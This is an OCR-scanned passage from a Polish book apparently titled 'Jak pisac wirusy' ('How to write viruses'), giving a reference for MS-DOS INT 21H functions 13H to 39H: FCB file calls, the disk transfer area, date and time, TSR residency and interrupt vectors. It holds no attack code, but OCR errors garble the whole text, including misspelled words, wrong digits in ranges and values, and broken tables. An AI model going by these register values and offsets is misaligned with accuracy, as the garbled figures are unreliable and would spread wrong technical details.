zwraca 0, a buforze rohoczym (DTA) zostaje utworzeny blok FCB dla znalezionego plfiku.

Strona:196



196

Uwagi: Funkeji tej nie mozesz uzyé w innej sytuacji, niz po wykonaniu funkeji 11H z tym samym
bickiern FCB. Jedl cheesz szukad plikéw systemowych lub ukrytych to DS:DX musi wska-
zywat na pierwszy bajt bloku FCB w postaci rozszerzonej.

Qdpowiednik: Funkeja 4F — znajdowanie nastepnej pozycji w katalogu.

Funkcja 13H

Nazwa: Usuwanie pliku

Wywolanie: AH=13H
DS:DX — adres bloku FCB nieotwartego pliku

Powrdt: AL -

0 - znalezione i usuniete pliki cdpowiadajgee wzorcowi
OFFH — nie znaleziono plkéw cdpowiadajacych wzorcowi

Opis: Funkeja usuwa pliki odpowiadajgce wzorcowi przekazanemu w bloku FCB, kidrego adres
znajduje sie w DS:DX. We wzorcu moga znajdowad sig symbole specjalne 7 i *. Jesli nie
zostana znalezione pozycie w biezacym katalogu odpowiadajace wzorcowi, to funkcja
zwraca OFFH w rejestrze AL. W przeciwnym wypadku w AL zwracane jest 0.

Lwagt: Funkgja nie usuwa ctwartych plikdw.

Odpowiednik: Funkcja 41H - usuwanie pozycji Z katalogu.

Funkeja 14H

Nazwa: Sekwencyjne czytanie z pliku

Wywolanie: AH=14H
DS - Adres bloku FCB otwartego pliku

Powrot: Al =

00H - Gzytanie zakoriczone sukcesem

MK - Napotkano koniec plku

02H ~ Zbyt malo miejsca w buforze roboczym

03H ~ Napotkanc koniec pliku, Przeczytana czgs¢
rekordu, reszta wypetniona zerami.

Opis: Furikeja powodue przeczytanie kolejnego rekordu z otwartego pliku zwigzanego 2 blokiem
FCB wskazywanym przez DS:DX, umieszczenie tego rekordu w buforze roboczym (DTA)
oraz zwigkszenie Przesunigcia Rekordu [20H] i ewentualnie Numeru Bloku [0CH} bloku
FCB. W rajestrze AL po wykonaniu funkcji moga znajdowat si¢ wartosci takie jak opisane
powyZej.

Odpowiednik; Funkcja 3FH - czytanie przez dojscie.

Funkcja 15H

Nazwa: Sekwencyjne pisanie w pliku

Wywolanie: AH = 15H
DS:DX - Adres bloku FCB otwartego pliku

Powrat: AL =

00H ~ pisanie zakoriczone sukcesem
01H - Dysk pelny , pisanie przerwane
02H — Bufor roboczy zbyt maly, pisanie przerwane
Opis: Funkcja zapisuje rekord znajdujacy sig w buforze roboczym (DTA) do pliku opisywanego

Jak pisac wirusy

przez blok FCB wskazywany przez DS:DX. Funkeja zapisuje rekord o dugosci rownej Roz-

miarowt Rekardu [0EH] pod pozycje wskazywang przez Numer Bloku [0CH] i Przesunigcie
Rekordu [20H}, a nastepnie zwigksza wartoscl tych pdl. W rejestrze Al zwracana jest war-
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toéé okredlajaca powodzenie operaci zapisu. Znaczenie zwracanych warlosct jest opisane
powyzej.

Jak pisac wirusy

Qdpowiednik: Funkcja 40H - pisanie przez dojécie.

Funkcja 16H

Nazwa: Tworzenie pliku

Wywolanie: AH=16H
DS:DX ~ adres bicky FCB niectwartego pliku

Powrét: AL =

0 — utworzono phic lub plik juZ istnieje
OFFH ~ brak piiku o takiej nazwie w kartotece i brak
migjsca w kartotece na utworzenie nowego pliku.

Qpis: Funkcja tworzy w katalogu biezacym nowy plik pod nazwa takg iak podana w bloku FCB
wskazywanyniy przez DS:DX | otwiera go. Jesti plik o takie nazwie isinieje w katalogu bieza:
cym to otwisra go ustawiajac Dugosé Piiku [10H] na C. Jesli utworzenie plik nie jest mozii-
we to w rejestrze AL funkcja zwraca warto$¢ OFFH, w przeciwnym wypadku &.

Uwagi: Jesli cheesz utworzonemu plikowi nadag atrybuty, to DS:DX powinno wskazywaé na pier-
wszy bajt bloku FCB w postaci rozszerzongj:

Cdpowiednik: Funkeia 3C - twerzenie dojécia.

Funkcja 17H

Nazwa: Zmiana nazwy pliku

Wywolanie: AH=17H
DS:DX — adres bloku FCB w postadi zmodyfikowanej

Powrdt: AL =

0 — Zmieniono nazwe
OFFH - nie istrigje plik o podanej nazwie lub proba
zmiany na nazwe ju? istnisjgca.

Qpis: Funkecia zmienia nazwe istniejgcego pliku zwigzanego z blokiem FCB wskazywanym przez
DS:DX. Blok ten musi mieé zmieniong postad. Bezpodradnio po wzorcu nazwy pierwszego
pliku naley podad (zaczynajac od 11H) wzorzec nowej nazwy. Wzorce moga zawierad
symbole specjalne ? i *. Po wykonaniu funkeji w rejestrze AL zwracane sa wartosai opisa-
Nne POwWyZe;.

Uwagi: Nie mozesz znieniad tg funkcjg nazw zbiorow systemowych, ani ukrytych.

Odpowiednik: Funkcja 56H — zmiana pozycji w katalogu.

Funkcja 19H

MNazwa: Pytanie o dysk biezacy

Wywolanie: AH = 19H

Powrst: AL - Biezacy dysk (0=A, 1=B, itd.}

Opis: Funkcja zwraca w rejestrze AL numer biezgcego dysku.

Funkcja 1AH

Nazwa: Ustalenie bufora roboczeqo

Wywotanie: AH = 1AH
DS:DX - adres bufora roboczego

Powrét: Brak
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Opis: Funkcja ustala adres bufora roboczego na podany przez DS:DX.

Uwagi: DTA - Disk Transfer Adres — bufor roboczy operacii dyskowych, ~ jest to obszar shuzacy
do przeprowadzania operacj dyskowych, kidre zawsze wykorzystujg ten obszar jako jedng
ze stron przesylania danych (W standardzie CP/M) Jub do zapisu informacji odezytanych
z dysku. Przed rozpoczeciemn pracy procesu system przydziela w przedrostku PSP komdr-
ki 80H-FFH jake standardowy bufor roboczy dla tego procesu. Funkcja powyzsza stuzy do
innego umigszczenia bufora w pamigel. Zwrdé uwage, iz DTA jest strukturg lokaing to zna-
czy dla kazdego procesu moze znajdowad sig w innym miejscu. Przy ustawianiu bufora ro-
boczego pamigtal o tym, iz powinien on miec przynaimniej 80H bajtw, taki jest bowiem
standardowy rozmiar rekarddw przesylanych do tege bufora,

Funkcja 1BH

Nazwa: Pytanie o charakterystykg dysku biezacego

Wywotanie: AH=1BH

Pawrdt: AL = liczha sektordw w bloku przydziahu (cluster)

{X =liczba bajtéw w soktorze
DX: = liczha blok przydziatu na dysku
DS:BX - adres bajtu identylikujacego postad dysku (patrz Blok fadujgey)

Opis: Funkefa zwraca dane o biezgcym dysku w sposcb opisany powyzel.

Uwagt: Zwro¢ uwage, iz bajt identyfikujgcy postac dysku $wiadczy tylko o tym jaka dyskietka znaj-
duje sig w stacji, a nie jaki to jest dysk.

Funkcja 1CH

Nazwa: Pytanie o charakterystyke urzadzenia blckowege
Wywolanie: AH=1CH
DL = numer urzadzenia (O=dysk hiezgcy, 1=A, 2=Bitd)
Powrdt; AL = liczba sektoréw w bioku przydzietu {cluster) lub OFFh jesli numerowi w rejestrze DL
nie odpowiada zadne urzadzenie blokowe
CX = liczba bajtéw w sekicrze
DX = liczba blok przydziatu na dysku
DS:BX — adres bajlu identyfikujacege postad dysku (patrz Blok fadujacy)
Opis: Funkcja zwraca dane o urzgdzeniu blokowym (najczescie) dysk), kldrego numer podany
jest wrejestrze DL. Znaczenie poszezegdinych rejestrow jest opisane powyze;.
Uwagi: Zwroc uwage iz bajt identyfikujacy postad dysku $wiadczy tylko o tym jaka dyskietka znaj-
duje sig w stacji, a nie jaka to jest stacja.
Funkcia 1FH
Nazwa: Pytanie o adres bloku infermagj & urzadzeniu dla hiezacego dysku
Wywolanie: AH=1FH
Powrdt: DS:BX — adres bloku informacii o urzadzeniu dla biezgcego dysku
Opis: Funkeja zwraca adres bloku informacii o urzadzeniu dia biezacego dyskuy. (Patrz réwniez:
opis programéw obstugi urzgdzen — rozdziat 2),Blok ten ma nastgpujacy format:
Offset Rozmiar Zawanosé
+0 1 Numer dysku {0=A, 1=B, etc.)
+1 1 Numer urzadzenia w programie {Pole [0AH] nagtéwka urzadzenia)
+2 2 Rozrilar seklora w bajtach

Jak pisac wirusy
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Offset Raozmiar ~ Zawartos¢

+4 1 Liczba sektordw na blok przydziatu {cluster)

+5 1 n (biok przydzialu = 2 * liczba sekiordw)

+6 2 Liczba 7arezerwowanych scktordw na dysku

+8 i Liczba tabiic FAT nadysku ) )

+9 2 _llogé pozycii w gtdwnym katalogu o B i o
+0bH 2 Numer pierwszego sektora z danymi o
+0dH 2 Liczba blokdw przydziatdw na dysku
+0fH 1 Rozmiar FAT w sektorach B
+10H 2 Sektor, w kidrym znajduje sig gléwny katalog
+124 4 Adres naglowka urzadzenia
+16H 1 Bajt identyfikujacy postac dysku (FAT)
+17H 1 Znacznik dostgpu. 0 = byt juz fransmisja  tego urzgdzenia.
+18H 4 Adres nastqpr]ego bloku informacji o dysku. {OFFFFH gdy ostaini)

Uwagi: Funkgja nicudokumentowana. Bad? ostrozny z jej uzywaniem. Wszystkie te informacie mo-

zesz pobrad réwniez z innyeh funkgji i przerwan.

Funkcja 21H
Nazwa: -Swobhodne czytanie z pliku
Wywolanie: AH=21H
DS - Adres bloku FCB otwartego pliku
Powrat: AL =
pOH - Czytania zakoriczone sukcesem
01H - Napotkano koniec pliku
{2H - Zbyt malo miejsca w buforze roboczym
03H - Napotkano koniec pliku, Przeczylana czgsé
rekordu, reszta wypelniona zerami.
Opis: Funkeja powoduje przeczytanie rekordu wskazywanego przez Numer Rekerdu Biezacego
: [21H] z otwartego pliku zwiazanego z blokiem FCB wskazywanym przez DS:DX, umiesz-
czenie tego rekordu w buforze roboczym (DTA} oraz zwigkszenie Przesurigeia Rekar-
du[20H] | ewentualnie Numeru Bloku [0CH] bloku FCB. W rejestrze AL po wykonaniu fun-
keji moga znajdowad sig wartosci takie jak opisane powyze].
Odpowiednik: Funkcja 3FH — czytanie przez dojscie.
Funkcia 22H
Nazwa: Swobodne pisanie w pliku
Wywolanie: AH=22H
DS:DX - Adres bloku FCB otwartego pliku
Powrot: AL =
O0H — pisanie zakoriczone sukcesem
01H - Dysk petny , pisanie przerwane
02H - Bufor robaczy zbyt maly, pisanie przenwane
Opis: Funkcja zapisuje rekord znajdujacy sig w buforze roboczym {DTA) do pliku opisywanago

Jak pisac wirusy

przez blok FCB wskazywany przez DS:DX. Funkcja zapisuje rekord o diugosci rownej Roz-

Strona:200



PN

PR

200

miarowi Rekordu [CEH] pod pozycjg wskazywang przez Numer Rekerdu Biezgeego (21H]
oraz modyfikuje Numar Bloku [0CH] i Przesunigcie Rekordu [20H] tak aby zgadzaty sig

z numerem rekordu biezacego. W rejestrze Al zwracana jest warlos¢ okreslajaca powodze-
ni@ operacji Zapisu. Znaczenie zwracanych warlosci jest opisane powyzej.

Qdpowiednik: Funkgja 40H - pisanie przez dojécie.

Funkcja 23H

Nazwa: Pytanie o rozmiar pliku

Wywolanie: AH=23H
B8:DX - adres bicku FCB

Powrdt: Al =

0 — znaleziono taki plik
OFFH - nie ma takiego pfiku w katalogu

Opis: Funkcja ckresla liczbe rekorddw w pliku odpowiadajacemu blokowi FCB wskazywanemu
przez DS:DX. Przed wywolaniem tej funkeji w bioku FCB musza byé wypelnione pola Roz-
miar Rekordu [OEH] i Rozmiar Pliku[1CH} . Jesli w katalogu biezacym nis ma pozycji odpo-
wiadajgcych danemu blokowi FCB to funkcja zwraca warto$é OFFH w rejestrze AL, w prze-
ciwnym wypadku zwraca 0, a polu Numer Rekordu Biezacego{2tH] bloku FCB umieszcza
liczbe rekordow zaokraglona w gore,

Odpowiednik: Funkcja 42H - ustalanie wskaZnika w pliku

Funkcja 24H

Nazwa; Wybiaranie rekordu

Wywolanie: AH=24H
DS:DX = adres bioku FCB otwartego pliku

Powrét: Brak

Opis: Funkeja ustawia Rekord Biezacy [21H] na podstawie zawartodci pol Numer Bloku [OCH]
i Przesunigcie Rekardu [20H] tablicy FCB, Przed wywotaniem funkcji DS:DX musi wskazy-
wac na blok FCB zwiazany z otwartym plikiem.

Uwagi: Funkcja jest uzywana zazwyczaj wiedy, gdy zmieniamy tryb czytania sekwencyjnego na
swobodny.

Odpowiednik: Funkcja 42H - ustalanie wskaZnika pliku

Funkcja 25H

Nazwa: Ustalanie adresu kodu obshigi przerwania

Wywolanie: AH=25H
AL - Numer przerwania
DS:DX - Adres procedury obstugujacej przerwanie

Powrdt: Brak

Opis: Funkcia ustawia nowg procedure obstugi przerwania o numerze podanym w AL. Adres pro-
cedury obslugi przerwania powinien byc przekazany DS:DX.

Uwagi: Unikaj zmiany adresdw obsfugi przerwania poprzez bezposredni zapis w tablicy welkdorow

Jak pisac wirusy

przerwan, moze to bowiem powodowad wystapienie nieprzewidzianych sytuacii, tacznie

z zawieszeniem systemu. Oczywiscie podczas uruchomiania systemu ta funkéja nie jest je-
szcze dosfepna i odwotanie bezpodrednie do pamigei w celu przechwycenia przerwar jest
niazbedne.
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Funkcja 26H
Nazwa: Tworzenie nowego PSP
Wywotanie: AH=26H
DX - Segment adresu nowege PSP
Powrot: Brak
Opis: Funkgji tworzy nowy przedrostek procesu w segmencie wskazywanym przez DX. Nowy
PSP powstaje wskutek skopiowania przedrostka aklualnego procesu.
Odpowiednik: Funkcja ta byta uzywana zazwyczaj przy uruchomianiu nowego procesu. Funkcjg lepiej na-
dajaca sig de fego celu 53 funkeje 4B0OH — tadawanie i uruchamianie procesu oraz 4B03H
— jadowanie naktagki.
Funkcja 27H
Nazwa: Swobodna czytanie ciagu rekorddw
Wywolznie: AH=27H
DS - Adres bloku FCB otwartege pliku
CX - Liczba rekordow do przeczytania
Powrét: AL=
00H - Czytanie zakericzone sukcesem
01H — Napotkano koniec pliku
{2H - 2oyt mato miejsca w bulerze roboczym
03+ — Napotkano koniec pliku, Przeczytana ¢zgsc
rekordu, reszta wypelniona zerami.
CX - Liczba przeczytanych rekorddw
Opis: Funkeja powoduje przeczytanie jednego lut kilku rekorddw, z kidrych pierwszy jest wskazy-
wany przez Numer Rekordu Biezgoeg [21H], 2 otwartego piiku zwigzanego z biokiem FCB
wskazywanym przez DS:DX, umieszczenie tych rekordow w buforze roboczym {DTA) oraz
zwigkszenis Przesunigcia Rekordu[20H] i ewentuainie Numeru Bloku [DCH] bloku FCB. Li-
czba rekordow do przeczytania jest przekazywana w rejestrze CX. W rejestrze AL po wyko-
naniu funkcjl moga znajdowad sie wartosci takie jak opisane powyzej. W rejestrze CX zwra-
cana jest liczba przeczytanych rekorddw.
Odpowiednik: Funkeja 3FH - czytanie przez dojscie.
Funkcja 28H
Nazwa: Swobodne pisanie ciagu rekordéw
Wywotanie: AH = 28H
DS:DX - Adres bloku FCB otwartego pliku
CX=
0 — Ustaw rozmiar pliku, nie zapisuj pozost. - Liczba rekordow do zapisu
Powrdt: AL=  00H - pisanie zakoficzong sukcasem
01H ~ Dysk petny, pisanie przerwane
02H - Bufor roboczy zbyt maty, pisanie przerwane
CX - Liczba zapisanych rekordéw
Opis: Funkcja zapisuie jeden lub kilka rekorddw znajdujacych sig w buforze roboczym (DTA) do

Jak pisac wirusy

pliku opisywanego przez blok FCB wskazywany przez DS:DX. Liczba rekordGw jest przeka-
zZywana w rejesirze CX. Funkcja zapisuje rekordy o diugosci réwnej Rozmiarowi Rekordu
[0EH] pod pozycig wskazywang przez Numer Rekordu Bie2acego [21H] oraz modytikuje
Numer Bloku [0CH] i Przesunigcie Rekordu [20H] tak aby zgadzaly sig 2 numerem rekordu
hiezacego. W rejestrze Al zwracana jest warto$¢ okreslajgca powodzenie operacji zapisu.
Znaczenie zwracanych wartoéci jest opisane powyZej. W rejesirza CX zwracana jest liczha
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Odpowiednik;

zapisanych rekordow.Jesli w rejestrze CX przed wywotaniem funkeji znajduje sig warloéé
0, to funkcja nie dokunuje zapisu tylko zmienia pole Dlugosc Pliku [1CH] bloku FCB tak
aby bylo rdwne polu Biezacy Rekord [21H]. Innymi stowy funkcja ucina plik do miejsca,
w klarym znajduje sig Biezacy Rekord. Po zmianie diugosci bloku funkeja przydzieta iub
zwalma pamie¢ dyskowaq dla tego pliku, tak aby odpowiadata ona nowemu rozmiarcwi,
Funkgcja 40H - pisanie przez dojscie.

Funkeja

29H

Nazwa:
Wywotanie:

Powrdt:

Opis:

Rozktad nazwy plikéw
AH = 29H
AL - Sposdhb rozkiadu. Patrz opis
D$:S1 - adres lancucha do rozkiadu
ES:DI - Adres, w kidrym ma byé utworzony blok FCB
Al=
00H —w nazwie nie byto symboii specjalnych i 7
01H - w nazwie wyslgpowafy symbole specjalne
OFFH — bledna nazwa dysku jub inny tiad
DS:5} - adres pierwszego bajtu pe nazwie pliku
ES:DI - adres utworzonego hloky FCB
Funkcja tworzy blok FCB na podstawie nazwy pliku podanej jako taricuch znakow. Adres
faricucha jest przekazywany w D3:Sl, a adres bloku FCB wyjatkowo w rejestrach ES:DI.
W rejestrze AL przekazywany jest sposdb rozktadu, Bity 4-7 tego rejestru powinny zawie-
rad 0, Znaczenie pozostatych bitdw jest nastepujace:

bit

wartoss J

Znaczenie

Koniec rozkiadu, jesli napotkano separator ( czyli ktrys ze znakow :.; ,=+/,[1} [1ab
spacja ).

lgnorowanie separatorow poprzedzajqcych Nazwe.

Listaw w bloku FCB identyfikator napedu na { (biezacy naped) jesl farcuch nie zawiera
nowej nazwy napgdu,

Nie zmieniaj identyfikat ora napedu w FCB jesli taricuch nie zawiera nowej nazwy napedu.

Wypetnienie nazwy pltku w bloku FCB spacfami jesli taricuch nie zawiera nowej nazwy pliku.

Ustawienie nazwy p|lkl.| w bloku FCB bez zmian jesti taricuch nie zawiera nowej nazwy pliku.

Wypetnienie rozszerzenia pliku w bloku FGB spacjami jeslitaricuch nie zawiera rozszerzenia.

Pozostawienie rozszerzenia pliku w bloku FCB bez zmian jesk faficuch nig zawiera
rozszerzenia.

Po wywolaniu funkcjt odpowiednie rejestry zwracajg wartosei lakie jak opisane powyzej, Ponadto jesli AL=0FFH | ES:DI+1
wekazuje na komdrkg zawierajacg spacie to znaczy, Ze laricuch nie zawieral poprawnej razwy pliku.

Uwagi: Funkeja ta jest funkejg standardu CP/M i diatego w nazwie pliku nie moze wystepowad
sciezka dostepu,
Funkeja 2AH
Nazwa; Pytanie ¢ date
Wywotanie: AH=2AH
. Powrdt: CX — Rok (liczony od 1380, maksymalnie 2099)

Jak pisac wirusy

DH -~ Miesiac (1-12)
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DL - Dzleri {1-31)
AL - Dzieri tygodnia {0-niedziela, .., 6-sobota)

Opis: Funkeja zwraca akiualng dalg w zégarze systemowym.
F-unkcja 2BH
Nazwa: Ustalanie daty
Wywotania: AH = 2BH
CX - Rok {liczony od 1980, maksymalnie 2099)
DH - Miesiac {1-12)
DL — Dzieri (1-31)
Powrot: AL =
0 - Podano prawidtows date
OFFH - Podano nieprawidtows date
Opis: Funkcja ustawia akiuaing datg w zegarze systemowym. Jesli podana jest poprawna data
to zwraca warlosé 0 w rejestrze AL, w przeciwnym wypadku 2wraca OFFH,
Funkcija 2CH
Nazwa: Pylanie o czas
Wywotanie: AH =2CH
Powrdt: CH - Godziny (0-23)
CL - Minuty {0-59)
DH - Sekundy {0-59)
DL - Setne czesel sekundy {0-99)
Opis: Funkcja zwraca aktualny czas zegara systemowego.
Funkcja 2DH
Nazwa: Ustalanie czasu
Whnwotanie: AH = 2DH
CH - Godziny (0-23)
CL — Minuty (0-53)
DH - Sekundy {0-59)
OL - Setne czgsci sekundy (0-39)
Powrat: Al =
0 — Podano prawidtowy €238
OFFH — Podano nieprawidtowy czas
Opis: Funkcja ustawia aktualng czas w zegarze systemowym. Jesli podany jest poprawny czas
to zwraca wartosc O w rejestrze AL, w przeciwnym wypadku zwraca OFFH.
Funkeja 2EH
Nazwa. Ustatanie sygnalizatora weryfikacji
Wywolanie: AH = 2EH
AL =
0 - VERIFY OFF
1 - VERIFY ON
Powrat: Brak
Opis: Funkcja zmienia stan sygnalizatora weryfikachi, po kazdym zapisie na dysk. Odpowiada

Jak pisac wirusy

ona poleceniu VERIFY, Przekazanie w rejestrze AL warlodc! 1 ustawia sygnalizator weryfi-
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Kacji, a przekazanie 0 kasuje ten sygnalizator. Standardowo w systemie werylikator jest wy-
taczony.

Funkcja 2FH

Nazwa; Pylanie o bufor roboczy

Wywotanie: AH=2FH

Powrat: ES:BX - adres bufora roboczego

Opis: Funkcia zwraca adres bufora roboczego operaci dyskowych (DTA) aktuaineqgo procesu,

Funkcja 30H

Nazwa: Pytanie o numer wersji systemu

Wywolanie: AH = 30H

Powrat: AL — gldwny numer systemu (np 5)
AH - pomocniczy aumer systemu {np 0)
BH — Dostawca systemu
BL:CX - 24-bitowy numer seryjny odbiorcy systemu

Opis: Funkeja zwraca numer systemu MS-DOS.

Uwagi: Korzystaj 2 te] funkaji jesti uzywasz jalds nisudokumentowanyeh furkeji, czy przerwan, aby
upewnic sig, ze jestes we wiadciwej wersji systemu.

Funkcja 31H

Nazwa: Usypianie procesu

Wywotanie: AH=31H
AL - Kod powrotu
DX - Rozmiar pamieci w paragrafach (18 bajtowych)

Powrot: Brak

Opis; Funkcja ta pozwala na zakoriczenie pracy procesu i przekazania sterowania procesowi ma-
cierzystemu, nie zemykajac ctwartych piikdw procesu i nie zwalniajgc catej pamigci przy-
dziefone] procesowi. W rejestrze AL umieszczany jest kod powrolu, kidry moze zostac od-
czytany przez proces macierzysty funkejg 4DH, w rejestrze DX przekazywana jest liczba
paragraidw (biokdw po 16 bajtdw}, kidre maja pozostad przydzielone programowi, cata po-
zostata pamigd jest zwalniana. Funkcfa shuzy do instalowania programéw rezydentnych
(TSR).

Uwagi: Przy pisaniu programéw typu TSR zwrdé uwage na kilka drobiazgdw:

Jak pisac wirusy

- Funkeja powyZsza jest nowsza wersja przerwania 28H, firma Microsoft zaleca stosowa-
nie jej zamiast tego przerwania, kidrego znaczenie w przyszlych wersiach systemu moze
zostaé zmienione,

—~Pozostawiajge program w pamigci pamigtal, Ze réwniez przedrostek PSP jast czestia pa-
migei przydzielonej procesow, | Ze trzeba na niego przeznaczys 100H bajtéw (10H para-
grafow), tak wigc do rejestru DX musisz zawsze jeszcze dodad 10H przed wywolaniem fun-
kcii.

— Wybleraj dobry moment na ponowne uruchomienie rezydentnege programu, niech o na
przykiad nie bedzie w polowie transmisfi modemu, Zanim TSR sig uruchomi sprawds?, czy
DOS nie robi nic waznego (Uzyj przerwania 28H).

- Pamigtaj, e wszystkie dojécia, bloki FCB, bufory robocze itd dotyczg juz innego proce-
Su niie moZesz sig wige do nich adwotywad, aby nie zakideic pracy tamtego procesu. Masz
wiec dwa wyjscia: albo zapamigtywac stan poczatkowy wszystkich uzywanych struktur da-
nych i po zakoriczeniu wywolania TSR przywrécic ten stan, aibo uzyé nieudokumentowa-
nych przerwarn 50H i 62H, ktdre zrobig to za Ciebie.
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Funkcia 324
Nazwa: Pytanie o adres blokw informacii o urzadzeniu
Wywotanie: AH=32H

DL = Numer urzadzenia (0=A, 1=B, itd.)
Powrdt: AL =

0H - Znaleziono takie urzgdzenie
OFFH - Nie ma takiego urzgdzenia,
DS:BX - adres bicku informacji o urzadzeniu
Opis: Funkcja zwraca adres bloku informagii 0 urzadzeniu, kidrego numer zostaf podany w DL
Jedli nie ma w systemie Urzadzenia o takim numerze, to w rejestrze AL zwracana jest war-
tos& OFFH. W przeciwnym wypadku AL zawiera 0, a w rejestrach DS:BX zwracany jest ad-
res bloku informacii o urzadzeniu {pattz funkeja 1FH).

Uwagi: Funkeja nie jest udokumentowana. Bad2 ostrozny z jej uzywaniem.
Funkcja 33H
Nazwa: Pytanie o wrazliwo$¢ na znak Control-C lub jej ustalanie.
Wywolanie: AH=33H
AL=
- pytai o wrazliwosé
1 - ustaw wrazliwosé
DL = (jesli AL=1)
0 - BREAK OFF
1-BREAK ON
Powrdt: DL = {jesli AL=0)
0 - BREAK OFF
1-BREAKON
AL=

OFFH - w rejestrze AL byla wartos€ inna niz Q Jub 1

Opls: Funkcja ustala wraziwost systemu na nacisnigeie klawiszy Contol ~ C (Control - Break)
lub pyta o te wrazliwosc. Jest ona réwnowaina systemowemu poleceniu BREAK. Znacze-
nie parametréw jest opisana powylej. Jesli sygnalizator BREAK jest wytaczony (OFF) to
klawisze Controf - € przernywaiq tylko dziatanie furkeji 01H - OCH, jesfi jest ustawiony
{ON) to przerywajg dziatanie kazdej funkci systemowe.

Uwagi: Jesli cheesz uzywad w programie funkcji 06H 1 07H i traktowaé Control-C jaka nommalne
znaki, to musisz sig upewni¢ sig, ze BREAK jest wytaczony.

Funkcja 34H

Nazwa: Pytanie o adres sygnalizatora pracy systemu.

Wywolanie: AH=34H

Powrdt: ES:BX - adres sygnalizatora pracy systemu.

Opis: Funkcja zwraca adres sygnalizatora pracy systemu. Sygnalizator ten jest ustawiony (rozny

od zera) gdy wykonuije jakas czynnosé, kidrej nie nalezy mu przerywac. Sygnalizator ten
jest czesto Uzywany przez programy TSR, kidre sprawdzajg, czy moga sig uaktywnic. Syg-
nalizator jest réwnieZ ustawiony podczas czekania przez system na nacisnigeie klawisza.
W takim wypadku jesl wywolywane przerwanie 28H, ki6re TSR moze przechwycic i réw-
niez w ten sposdb sie uakiywniag. _

Uwagi: Funicja nie udokumentowana, Korzystajg z niej jednak niekiore rezydentne programy sy-
stemowe, jest wige szansa, ze w przyszlych wersjach systernu bgdzie rdwnieZ zaimple-
mentowana. Na wszelki wypadek podchodz do nigj 2 rezerwa,

Jak pisac wirusy Strona:206
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Funkcja 35H
Nazwa: Pytanie o adres kodu obshugi przerwania
Wywotanie: AH = 35H
AL - numer przenwania
Powrdt: ES:BX — adres procedury obstugl przerwania
Opis: Funkgcja zwraca adres procedury obstugi przerwania o numerze podanym w AL
Uwagi: Firma Microsoft zastrzega, 2e w przysztych wersjach systemu MS-DOS tablica weklorow
przerwan moze znajdowac sig w innym miejscu pamieci, dlatego nie nalezy czytad adre-
stéw przerwari bezposdrednio z pamiect, tylko przy pomacy te] funkcii.
Funkcja 36H
Nazwa: Pytanie 6 rozmiar wolnega obszaru dia dysku,
Wywolanie: AH = 36H
DL —- Numer dysku {0=biezgcy, 1=A, itd)
Powrdt: AX =
OFFFFH  bigdnic podany numcr dysku
inna - liczba sektordw na blok przydziaku (cluster)
BX — Liczba dostgpnych blokow przydziaty
CX — Rozmiar sektora w bajtach
DX - Qgdlng liczba biokéw przydziatu na dysku
Onis: Funkcja zwraca rozmiar wolnej pamigci na dysku o numerze podanym w AL, Znaczenie pa-
rametréw wyjdciowych znajduje sie powyzej.
Uwagi: Jak z tego widad rozmiar wolnej pamigei na dysku w bajtach to AX*'BX*CX, a catkowita po-
jemnosé dysku to AX'CX'DX.
Funkcja 37H
Nazwa: Ustaw/Pobierz znak przekazywania parametrow
Wywolanie: AH - 37H
AlL=
0 —pytante o znak przekazywania parametrow.
1 - ustawianie znaku przekazywania parametrow
DL - kod nowego znaki) przekazywania parametrow (jesli AL=1)
Powrdt:. DL - kod biezgoego znaku przekazywanie parametréw (jesli AL=0)
Opis: Funkcja ta zmienia znak przekazywania parameatrdw lub pyta o niego. Znaczenie parame-
trow jest opisane powyzej, Standardowym znakiem przekazywania parametréw jest w sy-
stemie MS-DOS 7 np (format a: /s)
Uwagi: Funkeja nie jest udokumentowana. BadZ ostrozny 2 jej uzywaniem.
Funkcja 38H
Nazwa: Pyfanie o kod kraju lub ustalanie tego kodu
Wywolanie: AH = 38H
CX=

Jak pisac wirusy

OFFFFH - Ustalanie kodu kraju
inna - pylanic o kod kraju

AL=
0 - aktuzlny kraj {jesti DX OFFFFH)
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1-0FFH - kod kraju
OFFH - kod znajduje sie w BX
BX - kod kraju powyzej OFFH (jesli AX = OFFH}
DS:DX — adres 32 bajtoweqo obszaru w pamigci (jesli DX<>0FFFFH)

Powidt: Ustawiony znacznik C:
AX =2 - Hedny kod kraju

3 Nie ustawiony C:

3 BX ~ kod kraju {jedli DX<>0FFFFH)

E Opis: Funkcja pozwala zmienié kod kraju uZytkownika lub odezytad informacje dotyczacg danego
kraju {sposdb zapisu czasu | daty, ukfad klawiatury itd). Kod kraju jest rdwnoczesnie jego
nurnerem telekomunikacyinym. Wywotanie tej funkeji z zawartoscia DX rdzng od OFFFFH
powoduje pobranie infermacii o kraju, kiérego kod jest przekazany w rejestrach AL i BX. Je-
$li AL zawiera 0 to uzyskujemy informacie o biezacym kraju, w przeciwnym wypadku, a kra-
juktdrego numer zawiera AL (jeshi mnigjszy od OFFH}) b o kraju,ktdrego kod jest suma BX
| OFFH (jedli AL zawiera OFFH). informacje o kraju sa zwracane pod adresem wskazywa-

£ 4 nym przez DS:DX i majg format:
'::;;1 fj Offset |  Diugosé Nazwa Warlosel Znaczenie
3 0 USA (midit)
2 Postaé daty 1 Eurcpa (dfm/r)
i z Japonia (t/m/d)
5 Symbol waluty Tekst ASGIZ
2 Separator tysigcy Tekst ASCIZ
2 ‘Symbot czgsci utamkowe; _ Tekst ASCIZ
2 Separator czesel daty Tekst ASCIZ
2 Separator czesei czasu | Tekst ASCIZ
bit0=0 Symbol waluty przed liczbg
N bit0 =1 Symbol waluty za liczhg
OrH a Pals bilow bit1=0 Liczba i symbol waluty bez cdstepu
bit1=1 Odstgp miedzy liczbg | symbolem
= waluty
k- E| 104 1 Liczba cyfr po kropee
= N w walucie
4 0 Zegar 12-godzinn
j{ 11H 1 Format czasit egal Tergota Ty
% : | 1 Zegar 24-godzinny
f . Adres {daleki) procedury
b 12 4 konwersji mafych znakow na
: duze. N e o
) 16H. Symbol Separatora Tekst ASCIZ
# 18H Zarezernowans

T L A S PP PL R

Uwagi:

Jak pisac wirusy

"!W przypadku gdy DX przed wywotaniem funkeji zawisra =1 (OFFFFH) funkeja ustala kraj, ktdrego numer jest przekazany
ALBX {palrz wy2ej) jako kraj aktualny w systemie.

Kod Polski w DOSie piatce wynosi 852
Kod ASCIZ jest to zwykly kod ASCH, w kidrym znak o numerze 0 wskazuje koniec faricu-
cha.W tym kodzie kazdy taricuch musi byc zakoriczony tym znakiem.
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Funkcja 39H
Nazwa: Tworzenie katalogu
Wywotanie: AH = 39H
DS:0X - adres faricucha w kodzie ASCIZ zawierajgcege nazwe katalogu
